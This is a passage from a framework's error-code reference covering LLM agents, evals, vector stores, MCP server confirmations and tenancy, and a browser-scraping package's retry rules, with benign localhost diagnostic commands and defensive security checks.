in-process nor an MCP-exposed action an agent({ tools }) entry that is an action declaring no mcp block, or mcp: { expose: false }, and is not an inProcessTool(). Refused at declaration rather than filtered at the call, because a silently dropped tool is the worst of both: the declaration reads as if the model can call it, and the model is never offered it inProcessTool({ name, description, input, execute }) for a tool only this agent may call; or add mcp: { expose: true } to the action to offer it to MCP clients too; or drop it from the agent's tools X_HIVE_EMPTY a hive() split into zero members, so the fan-out ran nothing split() returned an empty list — usually a query behind it that matched no rows. Refused rather than returned, because 0 ok, 0 failed, 0 skipped reads identically for "there was genuinely nothing to do" and "the source query came back empty and nobody noticed", and only the call site can tell them apart. A hive whose empty case is legitimate says so by not being called return at least one member input from the hive's split(), or guard the call site — if (postIds.length > 0) await summariseBacklog({ postIds }, { ctx }) X_AI_KEY_MISSING the provider API key is not set ANTHROPIC_API_KEY / EMBEDDINGS_API_KEY unset and no apiKey passed export ANTHROPIC_API_KEY=<key>, or pass { apiKey } to the provider X_AI_REQUEST_INVALID the provider would reject this request a reasoning control the chosen model does not have — effort or adaptive thinking on a pre-4.6 model, or thinking: 'disabled' above a model's effort cap set model: on the llm() declaration to one whose MODELS row has the control, or drop effort/thinking from definePrompt — editing the template alone leaves the control in the request X_LLM_OUTPUT_INVALID structured output failed its schema on the answer and on the repair turn the model would not produce the shape describe the shape in the prompt template and bump its version, or widen output in the llm() declaration X_LLM_REFUSED the model declined the request the provider's safety classifiers refused; stopDetails.category names why set model: on the llm() declaration to another blessed model (the thrown fix: names one), or edit the template in definePrompt and bump its version X_LLM_TRUNCATED the answer hit its maxTokens ceiling before it was complete the ceiling is below what the output schema asks for; the stop reason is read before the schema, so a cut-off answer is never accepted set maxTokens: on the llm() or agent() declaration to double the ceiling the fix: names, or drop fields from its output schema X_EVAL_THRESHOLD an eval scored below its tolerance a prompt edit regressed cases against the recorded baseline x test <eval> for per-case scores; ULTIMATE_EVAL_RECORD=1 x test eval to accept new numbers as a reviewed diff X_EVAL_BASELINE_MISSING an eval has no recorded baseline to gate against a new eval, or a baseline: that is not import.meta.resolve('./…') ULTIMATE_EVAL_RECORD=1 x test eval, then commit the baseline file X_EVAL_BASELINE_INVALID a recorded baseline cannot be read a hand-edited or half-merged baseline file ULTIMATE_EVAL_RECORD=1 x test eval to re-record it X_EVAL_MISSING a prompt has no eval a definePrompt with no defineEval naming it defineEval({ name, prompt, cases, scorers, tolerance, baseline }) beside the prompt — for a prompt an agent() runs, defineEval({ name, agent, cases, tools, scorers, tolerance, baseline }) — then ULTIMATE_EVAL_RECORD=1 x test eval X_EVAL_RECORDING the gate ran with baseline recording switched on ULTIMATE_EVAL_RECORD was exported in the shell, or set on the CI job, that ran x verify env -u ULTIMATE_EVAL_RECORD x verify — record with ULTIMATE_EVAL_RECORD=1 x test eval instead X_VECTOR_DIM_MISMATCH embedding dimensions differ from the store the embedder model changed, or the provider returned a width the embedder was not declared with. The fix used to name x ai reindex, which is planned and throws — a fix line naming it sends an operator to a wall use the same embedder that created the store, or re-embed every record at the new width and upsert it — for a declared/returned mismatch, set dimension: on the embedder to the width cause names first X_VECTOR_SCOPE_WIDENED a derived vector scope tried to leave its tenant a handler re-scoped the store it was handed derive from the unscoped store: vectorStore.scoped({ tenant }) X_AI_EMBEDDER_INVALID an Embedder returned fewer vectors than texts it was given embedOne got an empty batch back from embed([text]) return one vector per input text from embed(), in the order the texts arrived X_MCP_GROUP_UNKNOWN defineAppMcp groups a tool this server does not project a typo, a renamed primitive, or a tool never listed correct the tool name in groups: (defineAppMcp) to one tools/list shows, or remove the entry X_MCP_GROUP_CONFLICT two resource groups claim one MCP tool the same tool name listed under two groups keep the tool in exactly one entry of groups: (defineAppMcp) X_MCP_SURFACE_INVALID the MCP meta surface is declared inconsistently surface: 'meta' with no groups, or groups with a flat-only surface declare groups: together with surface: 'meta' (or a surface function) in defineAppMcp, or drop both X_MCP_LIST_PARAMS_INVALID a tool's listParams names a key its own input does not accept listParams whitelists a filter, sort, fields, cursor or limit key the query would never read add the key to the query's input schema, or drop it from mcp.listParams X_MCP_OAUTH_INVALID the MCP oauth block cannot be published as protected-resource metadata no authorizationServers, an issuer that is not an absolute https URL (http only for localhost), or a resource / resourceDocumentation that is relative or carries a fragment. Refused at boot, before a client reads the metadata defineAppMcp({ ..., oauth: { authorizationServers: ['https://www.example.com'] } }) — at least one absolute https (or http://localhost) issuer URL, and resource, when set, an absolute URL with no fragment X_MCP_IDEMPOTENCY_KEY_SHADOWED an idempotent action's input declares idempotencyKey, the MCP argument reserved for the idempotency key the tool argument would be both the action's input and the retry key rename the action's idempotencyKey input field — MCP clients pass the Idempotency-Key as the reserved idempotencyKey argument X_MCP_SURFACE_OVER_BUDGET an MCP surface an agent reads is larger than the app's budget for it assertMcpSurfaceBudget measured tools/list, list_resources or instructions over the declared character budget shorten the tool descriptions or instructions it names, group tools behind surface: 'meta', or raise the budget with the measured size and the reason in the same diff X_MCP_PATH_DUPLICATE two MCP endpoints claim one path apps/<app>/mcp.ts exports mcp as an array and two endpoints resolve to one POST path — a second defineAppMcp with no path defaults to /mcp — or to one RFC 9728 metadata path. Thrown at boot by the web role (x dev and runRole alike): one URL cannot answer two populations with two catalogs give each defineAppMcp after the first its own path: '/mcp/admin'; every endpoint mounts at its own defineAppMcp path (default /mcp) X_VECTOR_UNSCOPED a vector store was read with no tenant bound inside an org request a store is unscoped until .scoped({ tenant }) binds one, and a read without it inside a request acting for an org would search every tenant's rows vectorStore.scoped({ tenant: ctx.actor.orgId }) X_MCP_SCOPE_UNCOVERED an MCP tool is covered by no scope in the scopes map defineAppMcp was given a scopes map, and a projected tool is named under none of its scopes, so no token scope could ever gate it. List the tool under a scope in the scopes map passed to defineAppMcp, or remove it from the projection. X_AI_CONTENT_UNSUPPORTED an image or document block the role, model or wire format cannot take a media block in a non-user turn, to a model whose row omits the kind from input, or a source the wire format has no shape for registerModel({ ...spec, input: ['image', 'document'] }) — or move the block into a user turn, or send the source the cause names X_MCP_CONFIRMATION_PENDING a gated MCP tool call waits for a person to approve it the tool is in mcpConfirmations({ tools }) and no approved, unexpired confirmation covers this actor, tool and input confirmations({ id, decision: 'view' }) — as a person, with the id this answer carries; then confirmations({ id, decision: 'approve', arguments }) with exactly the arguments view returned, and the agent repeats the same tools/call before it expires X_MCP_CONFIRMATION_EXPIRED an MCP confirmation expired before it was used or decided the confirmation's ttlMs elapsed mcpConfirmations({ tools, ttlMs }) — raise ttlMs, or call the tool again with the same arguments to open a new confirmation X_MCP_CONFIRMATION_REJECTED a person rejected this MCP tool call the confirmation was decided 'reject' { method: 'tools/call', params: { name, arguments } } — with arguments changed after asking the person who rejected it; the same arguments are rejected again X_MCP_CONFIRMATION_DECIDED an MCP confirmation was already decided approve or reject was sent for a row already approved or rejected tools/call — the agent repeats the call, which opens a new confirmation to decide X_MCP_CONFIRMATION_UNKNOWN no MCP confirmation has that id the id is mistyped, from another deployment, or purged after expiry confirmations({ id, decision }) — with the id from the X_MCP_CONFIRMATION_PENDING answer X_MCP_CONFIRMATION_TOOL_UNKNOWN mcpConfirmations gates a tool this server does not project a name in tools: matches no projected tool, or tools is empty mcpConfirmations({ tools: ['<a projected tool name>'] }) — x mcp tools --json lists them X_MCP_CONFIRMATION_CONTESTED identical concurrent MCP calls kept racing one confirmation one agent sent the same call concurrently and the open row kept being consumed tools/call — retry once, after the concurrent identical calls finish: send one at a time X_MCP_CONFIRMATION_ARGUMENTS_MISMATCH an MCP confirmation approval did not carry the arguments the agent sent approve was sent without arguments, with different arguments than view returned, or on a row keyed before a signing-secret rotation confirmations({ id, decision: 'view' }) — then approve with exactly the arguments it returns X_AI_MODEL_UNRESOLVED a model call named no model neither the declaration, its prompt, nor providerGateway({ defaultModel }) named one — the framework chooses no model for an app llm({ ..., model: modelId }) — or model: modelId in its definePrompt, or providerGateway({ ..., defaultModel: modelId }); register the id with registerModel X_AGENT_TOOL_LOOP an agent repeated one tool call with one result and was stopped an agent() asked for the same tool calls with the same arguments and read the same results on consecutive turns — or went round a cycle of 2 or 3 such turns — so no later turn can differ. Stopped at maxRepeatedToolCalls (default 3) laps instead of spending every remaining turn re-sending a growing transcript for the same non-answer. Terminal: a job does not retry it maxRepeatedToolCalls: 5 — on the agent, only for a tool that is polled and answers identically while it waits; otherwise tell the template what to do when a tool result does not change, then bump its version X_AGENT_DEADLINE an agent ran past its declared deadline and was stopped an agent() declared deadlineMs and the run was still going when it elapsed: the model call in flight was aborted, each running tool's ctx.signal fired, and no further turn or tool was started. The run has no answer; tools that already ran keep their effects, and one that ignores its signal still finishes. Terminal: a job does not retry it deadlineMs: 300_000 — on the agent, only once a trace shows the run converging; otherwise lower maxTurns, or shorten the slow tool the agent.turn span events name X_LLM_TOOL_ARGUMENTS_INVALID a finished turn called a tool with arguments that are not JSON the model completed its turn (the stop reason is not a truncation) and the argument string of a tool call does not parse — or streamed fragments carried no index and no id, so two calls could not be told apart. The provider answered and billed: meta.billed carries the usage and cost, the gateway records them on the ledger and does not retry. A turn cut off mid-arguments is X_LLM_TRUNCATED instead. terminal for a job: it dead-letters on the first attempt maxTokens: 8192 on the llm() / agent() declaration if the arguments were long, and shorten or split the string fields of the tool's input schema; to run the same request once more, catch the code in the job and re-enqueue it deliberately — a retry policy does not apply X_AGENT_TRANSCRIPT_INVALID an agent was asked to continue from a transcript it cannot read agent.continue() was handed a handle that is not the value a .run() or .continue() of the same agent and prompt version returned: another version or agent, over 2,000,000 characters, messages out of order, a block a tool loop never writes, a tool call nothing answers, or an empty user turn. Refused before anything is loaded, reserved or sent agent.run(input, { ctx }) — start a new run and store its transcript; pass back exactly that value X_AI_PROVIDER_UNEXPECTED a provider ended a turn with an unknown reason and an incomplete answer a chat-completions endpoint finished a turn with a finish_reason this build does not know and the answer is not whole (a tool call whose arguments do not parse), or the reason was error. Not truncation and not a transport failure: the endpoint answered and billed, and meta.billed carries the usage and cost; meta.reason is the raw reason x doctor --json, then check what the endpoint means by the reason: a truncation needs a higher maxTokens: on the declaration X_MCP_EFFECT_UNDECLARED an MCP tool on a meta-split surface declares no effect defineAppMcp({ surface: 'meta-split' }) groups an action whose mcp block names no effect, so no dispatcher can be picked for it add mcp: { expose: true, effect: 'write' } (or 'delete' for an archive, a send or a spend) to the action, or tools: { name: { effect } } for a hand-written tool X_MCP_EFFECT_CONFLICT a read-only MCP tool declares an effect a query (or a tool declared destructive: false) carries mcp.effect, and on a meta-split surface a read is always read_resource's drop effect from the query's mcp block, or make it an action if it writes X_MCP_WRONG_TOOL a meta-split action was called through the wrong dispatcher read_resource, write_resource and delete_resource each run only the actions of their own effect, and this action belongs to another repeat the call on the dispatcher the cause names, with the same resource, action and params X_MCP_USER_CONFIRMATION_REQUIRED a delete_resource commit did not carry confirmed_by_user: true delete_resource ran with live: true and without confirmed_by_user: true, so nothing ran delete_resource({ resource, action, params, live: true, confirmed_by_user: true }) once the user has approved the change; live: false previews it without running X_AGENT_TOOL_UNDECLARED an agent run offered a tool its declaration does not list an agent()'s offerTools() returned a name that is not one of the declared tools' names (the export name of an action, the name of an inProcessTool()). Refused before anything is loaded, reserved or sent: offerTools() narrows the declared catalogue for one run and can never add to it return only names from the agent's tools from offerTools() — add the tool to tools: on the agent declaration first if the run really needs it X_AGENT_CONTEXT_EXHAUSTED an agent's next request would not fit its model's context window an agent()'s next request was estimated over the model's contextWindow less maxTokens, and auto-compaction (compact, default 'auto') could not bring it under: there were no turns older than keepTurns to summarise, the summary call failed (no text, cut off, refused, unreachable), or the compacted request still did not fit. Raised before the request is sent, never as a truncated transcript — or, as of 2026-11, after a provider refused the turn as over the window (X_AI_CONTEXT_OVERFLOW) and the one forced compaction failed or was refused too (meta.refused holds the provider's text) compact: { at: 0.6, keepTurns: 2 } — on the agent — compact earlier and keep fewer turns verbatim; or lower maxToolResultChars, or run on a model whose registerModel row has a larger contextWindow X_AI_SCRIPT_EXHAUSTED a scriptedProvider was called more times than it has turns the code under test asked the model for one more turn than scriptedProvider({ turns }) scripted: a loop that never calls respond, or a script one turn short. Never answered by repeating the last turn, so a runaway loop cannot read as a pass scriptedProvider({ turns: [...turns, { answer: { /* the expected output */ } }] }) # one more turn, or fix the loop that keeps calling the model X_MCP_PROTOCOL_UNSUPPORTED the request names an MCP protocol version this server does not serve a request whose params._meta["io.modelcontextprotocol/protocolVersion"] (or MCP-Protocol-Version header) names a revision outside MCP_MODERN_VERSIONS and MCP_LEGACY_VERSIONS. Answered JSON-RPC -32022 (UnsupportedProtocolVersionError) with data: { supported, requested }, HTTP 400 resend the request with params._meta["io.modelcontextprotocol/protocolVersion"] set to a version from error.data.supported — MCP_MODERN_VERSIONS from @ultimat3/mcp lists the modern ones X_MCP_HEADER_MISMATCH an MCP request header is absent or disagrees with the body a modern POST /mcp without MCP-Protocol-Version and Mcp-Method (and Mcp-Name for tools/call, resources/read, prompts/get), or one whose value differs from the body after decoding a =?base64?…?= sentinel. Answered JSON-RPC -32020 (HeaderMismatch), HTTP 400: a load balancer may route on a header while the server runs the body send MCP-Protocol-Version equal to params._meta["io.modelcontextprotocol/protocolVersion"], Mcp-Method equal to method and Mcp-Name equal to params.name or params.uri (base64 sentinel for a non-ASCII value), then resend the request X_MCP_ORIGIN_REFUSED an MCP request came from a browser page on another origin a POST /mcp whose Origin header is present and that core's proveSameOrigin cannot show is this app: not the route's public origin and not listed in http.cors.origins — refused 403 before the bearer token is read. It does not catch a DNS-rebound name, whose Host and Origin agree: x mcp serve refuses that Host first (X_MCP_HOST_REFUSED) curl -X POST http://localhost:3000/mcp -H 'authorization: Bearer <token>' — no Origin header; a page on a sibling origin is listed in http.cors.origins X_EVAL_TOOL_UNDOUBLED an agent eval called a tool with no double an agent eval's model called a tool the defineEval declares no double for, and an eval never runs a real tool add the tool to tools: on the defineEval, e.g. tools: { lookupOrder: (input) => ({ status: 'shipped' }) } X_MCP_HOST_REFUSED an MCP request named a Host that is not this machine x mcp serve answered a request whose Host is not localhost, a *.localhost name or a loopback address — the shape of a DNS-rebinding page, whose Host and Origin agree. Answered 421 before the bearer token is read curl -X POST http://localhost:9229/mcp -H 'authorization: Bearer <token>' X_AI_CONTEXT_OVERFLOW a provider refused a request as longer than the model context window a provider answered 400 or 413 with a body saying the prompt outgrew the model's context window (Anthropic 'prompt is too long', OpenAI 'maximum context length', and the other phrases in packages/ai/src/context-overflow.ts). Never retried and never sent to a second provider: the same request overflows every one. agent() compacts once and re-sends before it stops with X_AGENT_CONTEXT_EXHAUSTED; llm() and a direct generate() raise it as itself; terminal for a job compact: { at: 0.6, keepTurns: 2 } — on the agent — or shorten the prompt, or route to a model whose registerModel row has a larger contextWindow X_MCP_REMOTE_TOOL_CHANGED a remote MCP server's tool no longer matches tools.lock.json the remote server renamed, removed or re-shaped a tool that mcpTools({ allow }) names, or the lock was never written x mcp lock <name> — after reviewing the remote diff the cause prints X_MCP_REMOTE_REFUSED a remote MCP server failed or refused the call the url is wrong, the server answered a non-2xx other than 401 (a 401 is X_MCP_REMOTE_AUTH_REQUIRED) or a JSON-RPC error, or it spoke no protocol era this client knows curl -sS -X POST <url> -H 'content-type: application/json' -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}' — then correct mcpTools({ url, auth }) X_MCP_JOB_TOOL_INVALID jobTool() was declared with something it cannot run the job is not job()'s handle, the jobs driver has no introspect, or inlineMs is outside 0..25000 jobTool({ job: myJob, policy, result, inlineMs: 5_000 }) — on the postgres or memory jobs driver X_MCP_RECIPE_TOOL_UNKNOWN an MCP recipe step names a tool this server does not project a tool was renamed or removed and a recipe still names it steps: [{ tool: <a name the cause lists>, why }] — rename step.tool in the recipe the cause names, or expose the tool X_MCP_RECIPE_EXAMPLE_INVALID an MCP recipe step's example fails its tool's input the tool's input schema changed and the recipe's example did not example: { … } — correct step.example in the recipe the cause names; the issues name the field X_MCP_RECIPE_UNKNOWN an error links to a docs://recipes/ URI no recipe serves defineError({ docs }) or an UltimateError names a recipe that recipes: does not declare recipes: [{ name: '<name>', title, description, steps }] — add it to defineAppMcp, or drop docs: from the error X_MCP_RECIPE_URI_RESERVED docs://recipes/ is owned by recipes: resources: holds a docs://recipes/ URI beside recipes:, or two recipes share a name recipes: [{ name, title, description, steps }] — move the resource into defineAppMcp's recipes:, one name each X_MCP_REMOTE_AUTH_REQUIRED a remote MCP server needs authorization this app does not hold the upstream answered 401: no token was sent, or the one sent expired or was revoked; meta.resourceMetadata names where its authorization server is described mcpOAuthClient({ clientId, redirectUri }).begin(await client.discover(url)) — send the person to authorizeUrl, then return the token from mcpTools({ auth }) X_MCP_RECIPE_LINK_DANGLING a recipe links to a docs://recipes/ URI no recipe serves a recipe's markdown names docs://recipes/, and recipes: on that server holds no recipe by that name recipes: [...(await markdownRecipes({ dir })), <the missing recipe>] — or correct the link in the file the cause names X_MCP_CONFIRMATION_QUORUM_PENDING an MCP confirmation needs more approvers before the call runs mcpConfirmations({ approvers }) resolved a quorum above one for this call and fewer distinct approvers have approved; the asking actor never counts, and one approver counts once confirmations({ id, decision: 'view' }) — as another approver the quorum names, then approve with exactly the arguments it returns X_MCP_CONFIRMATION_EVIDENCE_INVALID an MCP confirmation approval carries no valid signed evidence mcpConfirmations({ evidence }) is declared and an approval's signature is missing, does not verify against the approver's registered keys, signs another confirmation's payload, or the stored approvals no longer meet the quorum confirmations({ id, decision: 'view' }) — sign the signingPayload it returns with a key registered to you, then approve with that signature and exactly the arguments it returns X_MCP_CONFIRMATION_QUORUM_INVALID mcpConfirmations approvers resolved a quorum no approver set can meet approvers({ args }) answered a quorum that is not a whole number of at least 1, an empty or malformed from list, or more named approvers than exist once the asking actor is excluded mcpConfirmations({ approvers: ({ args }) => ({ quorum: 1, from: ['role:<name>'] }) }) — a whole quorum of at least 1, over selectors 'role:<name>' or 'actor:<id>' that can reach it without the asking actor X_MCP_CATALOG_TOOL_DUPLICATE a per-caller MCP catalog names one tool twice defineAppMcp({ catalog }) resolved a tool whose name a static tool, a meta tool, list_tenants or another runtime tool already answers to defineAppMcp({ catalog: (caller) => ({ tools: [runtimeTool({ name: '<unique-name>', … })] }) }) — rename the runtime tool; x mcp tools --json lists the static names X_MCP_CATALOG_UNRESOLVED a per-caller MCP catalog could not be resolved defineAppMcp({ catalog }) threw, or answered something other than { tools: runtimeTool()[] } this server can serve defineAppMcp({ catalog: (caller) => ({ tools: [runtimeTool({ name, description, inputSchema, permission, run })] }) }) — fix what the cause names in the catalog function: its throw, an entry not built by runtimeTool(), or a scope the boot scopes: map does not declare X_MCP_TENANT_REQUIRED an MCP call names no tenant defineAppMcp({ tenant }) acts every call in the tenant the call names, and this call carries no tenant argument list_tenants({}) — then send one of its values as the tenant argument of every tools/call X_MCP_TENANT_UNRESOLVED the tenant of an MCP call could not be resolved defineAppMcp({ tenant: { resolve } }) threw, or answered an actor that is not an agent — a failed lookup is never read as "not a member" defineAppMcp({ tenant: { arg, resolve: ({ person, value }) => (member ? agentActor({ id: person.id, orgId: value }) : null), list } }) — the cause names what refused; resolve answers a kind: 'agent' actor, or null for a non-member, and never throws X_MCP_TENANT_INVALID defineAppMcp declares its tenant argument inconsistently tenant.arg is not a plain argument name, or a tool of this server already declares an input property of that name defineAppMcp({ tenant: { arg: 'tenant', resolve, list } }) — pick an argument name no tool's input declares X_MCP_INCLUDE_EARLY include: 'exposed' projected before the scan registered every exposed primitive an mcp endpoint built with include: 'exposed' at the top level of a module the boot scan evaluates before the app's actions and queries — an apps//{app,site,api,shared}/ file — so its catalog froze without them move the defineAppMcp / adminMcp call into apps/<app>/mcp.ts at module scope — the boot scan evaluates that file after every apps/*/{site,app,api,shared} module Scraping @ultimat3/scraping owns its codes in SCRAPE_OWNED_ERROR_CODES and borrows two (X_NOT_IMPLEMENTED, X_ENV_MISSING) — the count is not written here because nothing derives it, and a number in prose beside a list that grows is a number that goes stale; bun run manifest re-derives the owner of every code. Every one is classified retryable or terminal once, in SCRAPE_ERROR_RETRY (packages/scraping/src/errors.ts), rather than re-decided by whichever catch saw it — a scraper's whole operational question is "was that the site being slow, or the site being different?" The rule, stated once: retryable means the same code, run again, has a real chance of a different answer. Transport, budget and liveness faults qualify. Anything that says "the page is not the page this scraper was written against" does not — attempt 5 hammers a site with a request that cannot succeed, and on an authenticated target that is how three wrong attempts lock an account. Two sets override the table, in failures.ts: Set Codes Effect NEVER_RETRIED X_SCRAPE_AUTH_FAILED, X_SCRAPE_PROMPT_UNANSWERED no retry policy, backoff or recovery hook can reach them BURNS_SESSION X_SCRAPE_BLOCKED, X_SCRAPE_SESSION_EXPIRED the persisted identity is discarded before the retry — a flagged profile stays flagged, so reloading it re-trips the same block every time Code Means Typical cause Fix X_SCRAPE_DRIVER_UNKNOWN no browser driver is installed for this run terminal. No scrapeDriver in apps/<app>/runtime.ts and the definition passed no driver:; cause lists what is installed, or none apps/<app>/runtime.ts: export const runtime = { scrapeDriver: localBrowser() } — or pass driver: fakeBrowser() on the scrape() definition X_SCRAPE_CDP_ATTACH_FAILED the CDP endpoint refused the attach retryable. A browser host still starting, a wrong cdpUrl, or an endpoint that is up and not speaking CDP. Also raised when a CdpResolver on remoteBrowser({ cdpUrl }) could not rent a browser. The endpoint is named by scheme and host only — meta.cdpUrl is wss://host:port — because a connect URL carries a token; the underlying throw is rendered through core's renderThrowable with URL parts stripped curl "$CDP_URL/json/version" to confirm the endpoint answers, then pass that webSocketDebuggerUrl to remoteBrowser({ cdpUrl }) X_SCRAPE_BROWSER_UNREACHABLE the browser went away mid-run retryable. The browser process or host died, or stopped answering, after the attach succeeded raise watchdog: { idleMs } on the scrape() definition if the site is genuinely slow, otherwise re-run once the browser host is back X_SCRAPE_BROWSER_MISSING there is no browser on this machine for the driver to launch Terminal, where its sibling X_SCRAPE_BROWSER_UNREACHABLE is retryable, and the split is the whole point. A launch that fails because there is no browser binary — or because no executablePath was configured, which is every puppeteer-core with nothing passed — is a misconfiguration: attempt 2 spawns the same absent path, five times on a five-attempt policy, and on an authenticated target that is five arrivals at a login for no chance of a different answer. Raised by browserUnreachable() when the launcher's own words say the browser is absent (must be specified, ENOENT, EACCES, Could not find Chrome); everything else stays the retryable transport code install a Chrome or Chromium and name it — localBrowser({ launcher, executablePath: env.CHROME_PATH }) — or attach to one somebody else is running with remoteBrowser({ cdpUrl: env.SCRAPE_CDP_URL }) X_SCRAPE_PROFILE_LOCKED another process holds this browser profile terminal. Two runs pointed at one profileDir, or a previous browser died without clearing its lock rm -f <profileDir>/SingletonLock once no browser is using it, or give this run its own localBrowser({ profileDir }) X_SCRAPE_HOST_BLOCKED the page asked for a host allowHosts does not list terminal. A third-party asset, an analytics beacon or a redirect off the allow-list. The allow-list is default deny, so silence blocks. Also raised on the HTTP leg when a host only a wildcard ('*', '*.example.com') admitted resolves to a loopback, private or link-local address — the cause names the address class, never the address add the host to allowHosts on the scrape() definition — cause names both the requested URL and the current list; for an inward host, name it exactly X_SCRAPE_SELECTOR_MISSING the selector never appeared inside its window terminal — the page changed. The markup this scraper was written against is not what the site served. Deliberately distinct from X_SCRAPE_NOT_ACTIONABLE: nothing matched at all, so no wait and no retry can produce one open the run's page.html artifact and re-derive the selector, or raise the timeout on this waitFor({ timeout }) X_SCRAPE_NOT_ACTIONABLE the element is present and cannot be acted on terminal — something is in the way. Disabled, hidden, zero-sized, or covered by an overlay; cause names which. The separation from X_SCRAPE_SELECTOR_MISSING is the point — one is a rewrite, the other is a wait or a dismiss wait for the state that unblocks it — page.waitFor(selector, { state: 'enabled' }) — or dismiss whatever overlays it before the click X_SCRAPE_TIMEOUT the step exceeded its wall-clock budget retryable. A slow site, a slow network, or a pass doing too much inside one budget raise timeout: on the scrape() definition, or split the pass so each step.run stays inside one budget X_SCRAPE_WEDGED the browser stopped answering and was killed retryable. No browser activity at all for watchdog.idleMs, so the watchdog killed the process and closed the browser — an attached one too. The session went with it raise watchdog: { idleMs } on the scrape() definition if the site is genuinely this slow, or call page.activity() from the channel the framework cannot see (your own CDP session, a warm-up), otherwise re-run — the browser was closed and its session is gone X_SCRAPE_WATCHDOG_STOPPED the wedge watchdog stopped measuring and the run was ended the clock the scrape definition (or apps/<app>/runtime.ts) supplied has a sleep() that rejects, so the guard's poll loop died and nothing was left watching for a wedged browser. Ended rather than run unwatched: a guard that stopped measuring is the first incident with nothing armed. A separate code from X_SCRAPE_WEDGED on purpose — that one means the page stopped answering, and sending a reader there to investigate a page that is fine is the whole cost of reusing it. Terminal, where its sibling is retryable: attempt 2 reaches the same clock identically, so retrying buys five browser launches that die at the first poll — and on an authenticated target, five arrivals at a login drop the custom clock: from the scrape() definition and any clock: line in apps/<app>/runtime.ts — @ultimat3/core's systemClock is the only SleepClock whose sleep() cannot reject — then re-run X_SCRAPE_PAGE_CRASHED the renderer process died terminal, and it is the one liveness fault that is. A dead renderer takes its tab's state with it, so a re-run of a half-submitted form is the incident rather than the recovery. Out of memory far more often than a bug lower concurrency: on the scrape() definition, or raise the container memory limit in docker-compose.prod.yml X_SCRAPE_OUTPUT_INVALID the extracted rows do not match the extract schema terminal. The selectors still match and what they yield no longer parses — a column that became empty, a number that became a range, a date that changed format align the extract schema with the page — the run's page.html artifact holds the markup the rows came from X_SCRAPE_YIELD_COLLAPSED the run succeeded and returned far too little terminal, and the silent-green alarm. Two triggers: fewer rows than expect.minRows, or a fall past expect.maxDrop against the trailing median of the last expect.window runs (default 7, and no baseline below 3 samples). A run that succeeds and returns nothing is the worst failure a scraper has, because it stays green. A collapsed run is deliberately not recorded — check, then record, and record only a run that passed, or three broken runs at 2 rows make the median 2 and the alarm silences itself exactly when it was working open the run's page.html artifact and compare it with the extract selectors — a collapse is the page changing far more often than the data changing X_SCRAPE_YIELD_HISTORY_MISSING a maxDrop is declared and no history store can supply its baseline terminal, raised at declaration time. expect.maxDrop measures a fall against a trailing baseline, and with no history: store expect.ts reads [] forever — so X_SCRAPE_YIELD_COLLAPSED can never fire and the alarm is silently inert. expect.minRows is an absolute floor checked before the history gate and stays legal on its own add history: memoryYieldHistory() for a test, or your own YieldHistory in production — or drop expect.maxDrop and keep expect.minRows X_SCRAPE_DOWNLOAD_TIMEOUT the download never landed retryable. A slow file, or a trigger that is not the element that starts the download raise the timeout on page.download({ timeout }), or confirm the trigger is the element that starts the download X_SCRAPE_ROBOTS_DISALLOWED robots.txt disallows this path terminal. The site's own file refuses this path for the declared user agent declare robots: { ignore: '<the written reason this run is permitted>' } on the scrape() definition, or scrape a path robots.txt allows X_SCRAPE_FIXTURE_MISSING the fixture driver has no recording for this request terminal. An offline driver never reaches the network, so an unrecorded URL has no answer to give add <fixtureDir>/<the recording file> holding { "url": "…", "html": "…" }, or point fixtureBrowser() at the directory that already holds it X_SCRAPE_FIXTURE_STALE the recording is older than the fixture max age terminal. A test passing against a year-old copy of a page proves the test still parses the copy, not the site. A recordedAt that is not a date is stale too: its age cannot be shown to be inside maxAge re-record the fixture directory, or raise maxAge on fixtureBrowser({ maxAge }) with the reason an old recording still proves something X_SCRAPE_REMOTE_REQUIRED this driver needs a cdpUrl and was given none terminal. remoteBrowser() attaches to a browser somebody else started; there is nothing to attach to pass remoteBrowser({ cdpUrl: env.SCRAPE_CDP_URL }), or use localBrowser({ launcher }) to start one in this container X_SCRAPE_RECOVER_REFUSED the recovery hook declined to recover this failure terminal. recover() was declared and returned no strategy for this failure, so the original failure stands and the run ends where the hook left it widen recover() to handle this failure, or drop recover: and let the job's retry policy own it X_SCRAPE_SECRET_EXPOSED an artifact would have carried a secret this run typed terminal. A screenshot or a video was requested after a secret was typed into the page, and pixels cannot be redacted afterwards. Refused rather than captured-and-scrubbed call artifact.html() instead — page HTML is redacted by value and password fields are blanked — or take the capture before the secret is typed X_SCRAPE_HTTP_FAILED the site answered the HTTP leg with a non-2xx status retryable by default — 429, 5xx and a deploy window are transient far more often than not. A 4xx that isRetryableStatus (@ultimat3/core) calls permanent is thrown with a per-instance terminal override, because the same code is both and only the throw site knows which it saw — 408, 409, 425 and 429 keep their attempts As of 2026-08-23. This row said "below 500 other than 429" until then, and a private copy of the table here called 408 and 425 terminal while the rest of the framework called them retryable; a terminal classification dead-letters the run on the attempt that failed rather than spending its declared attempts confirm the endpoint the browser leg calls is the one this request names — page.network() lists every URL the page actually fetched X_SCRAPE_BODY_TOO_LARGE the HTTP leg's response body ran past maxBytes terminal. A response's size is a property of the endpoint, so attempt 2 reads the same bytes and dies identically. The default is 32 MiB (DEFAULT_HTTP_MAX_BYTES) — generous for the JSON endpoint behind a paginated page, far under what OOM-kills a worker. Before this the leg did await response.text(), which materialises the whole body: AbortSignal.timeout bounds TIME, not bytes, so a 30s stream at 50 MB/s was a 1.5 GB allocation and the run persisted nothing raise it for the one call — page.fetch(url, { maxBytes: 64 * 1024 * 1024 }) — or narrow the endpoint so it answers a page rather than a corpus. Never raise it globally: the cap is what stops one hostile origin taking the worker down X_SCRAPE_REDIRECT_LOOP the HTTP leg followed its hop limit of redirects without an answer terminal. A chain that does not settle is a property of the endpoint and of the session reaching it — attempt 2 restores the same cookies and walks the same MAX_REDIRECT_HOPS (10) hops. The reachable case is a login redirecting to a page that redirects back to the login. Every hop is screened against allowHosts and robots and recorded in page.network(), so the chain is readable request the URL the chain settles on directly — page.network() lists every hop — or repair the credential in secrets: X_SCRAPE_AUTH_FAILED the credentials were rejected TERMINAL, always, and the retry table cannot be talked out of it. It is in NEVER_RETRIED, so no retry policy, no backoff and no recovery hook can reach it. A site that locks an account after three wrong attempts turns a retrying framework into the thing that destroys the user's account correct the credential in .env.local for the name listed in secrets: on the scrape() definition — this run will not be retried, deliberately: a second wrong attempt is how an account gets locked X_SCRAPE_SESSION_EXPIRED the restored session is no longer valid and nothing can renew it terminal, and it burns the session: the stored state failed its auth.validate() probe and the definition declares no auth.login, so there is 